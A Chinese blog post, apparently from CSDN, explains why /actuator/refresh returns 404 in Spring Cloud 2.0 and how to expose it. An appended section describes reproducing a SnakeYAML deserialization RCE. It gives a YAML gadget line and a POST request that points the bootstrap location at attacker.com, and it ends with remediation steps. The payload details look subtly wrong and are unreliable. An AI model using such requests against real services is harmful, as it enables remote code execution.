spring cloud2.0版本以后 post 访问 /actuator/health 时404问题

本文介绍在Spring Cloud 2.0中如何正确配置并使用配置中心的刷新功能。解决从2.0开始无法直接通过/refresh更新配置的问题,并提供正确的配置暴露方法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

使用spring cloud2.0.3的时候 配置中心使用了git ,正常启动。

客户端去访问git上的配置文件也没有问题,同样可以取到值。

客户端整合了actuator 健康检查机制,访问/actuator/info或者 /actuator/health都没问题,

但是当想测试git配置文件修改,刷新就问题大了 一直404!(/actuator/refresh) 

spring boot 2.0之前都是可以直接访问的,但是2.0以后就改变了

修改之前启动日志:



修改之后启动日志:


当看到启动日志中 有 refresh节点的时候  说明refresh接口可以访问了!

management.endpoints.web.exposure.include 配置actuator 暴露的接入点,

默认值为health和info,此时调用/refresh会返回404错误



配置中心的更新配置的坑,2.0前调用/refresh更新配置的方法,不再适用。


现在的方法如下:


management.endpoints.web.exposure.include=refresh,health,info


把refresh接入点显式暴露出来,之后就可以通过POST 调用/actuator/refresh 来更新配置了


可以参考文档:

### 漏洞概述 Spring Cloud 中的 SnakeYAML 反序列化漏洞是由于 Spring Cloud 在处理外部配置,允许通过 `spring.cloud.bootstrap.location` 参数指定远程 YML 文件 URL。当触发 refresh 请求加载该恶意 YML 文件,SnakeYAML 解析器会尝试反序列化其中的内容,从而可能拉取并实例化恶意 JAR 包中的类,导致远程代码执行(RCE)。 ### 漏洞复现步骤 1. **准备攻击环境** - 安装一个存在该漏洞的 Spring Cloud 版本(如旧版本未修复此问题)。 - 配置 Spring Cloud 应用程序以支持远程配置加载,确保 `spring-cloud-config-client` 依赖已包含在项目中。 - 启动应用程序,并确保可以通过 `/actuator/refresh` 端点触发配置刷新操作。 2. **构造恶意 YML 文件** - 创建一个恶意 YML 文件,利用 SnakeYAML 的反序列化特性注入恶意类。例如: ```yaml !!javax.script.ScriptEngineManager [!javax.script.ScriptEngineFactoryImpl [null]] ``` 这段 YAML 将尝试加载 `ScriptEngineManager` 并使用恶意实现类,进而执行任意代码[^1]。 3. **托管恶意文件** - 将构造好的恶意 YML 文件上传到一个可通过 HTTP 访问的服务器上,例如 GitHub Pages 或其他 Web 服务器。 4. **触发漏洞** - 使用以下请求触发漏洞,将 `spring.cloud.bootstrap.location` 设置为指向恶意 YML 文件的 URL: ``` POST /actuator/refresh Content-Type: application/json { "name": "test", "value": "http://attacker.com/malicious.yml" } ``` 此请求将强制 Spring Cloud 应用程序重新加载配置,并解析恶意 YML 文件,最终导致远程代码执行[^1]。 5. **验证漏洞影响** - 观察目标系统是否成功执行了恶意代码,例如通过反弹 Shell 或创建测试文件等方式确认漏洞利用是否成功。 ### 修复方法 1. **升级 Spring Cloud 版本** - 升级到 Spring Cloud Greenwich SR6 或更高版本,这些版本已经修复了相关的 SnakeYAML 反序列化问题。确保所有依赖项都更新至最新安全版本2. **禁用不必要的端点** - 如果不需要使用 `/actuator/refresh` 等敏感端点,可以在 `application.yml` 或 `application.properties` 中禁用它们: ```yaml management: endpoints: web: exposure: include: health,info ``` 3. **限制外部配置来源** - 不要允许从不可信的远程位置加载配置文件。可以设置 `spring.cloud.config.uri` 为可信的内部服务地址,避免用户自定义配置源。 4. **启用安全防护机制** - 对于生产环境,建议启用 Spring Security,限制对 `/actuator` 端点的访问权限,仅允许授权用户进行操作。 5. **使用白名单策略** - 如果必须支持远程配置加载,应实施严格的白名单策略,只允许特定域名或 IP 地址的配置源。 --- ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值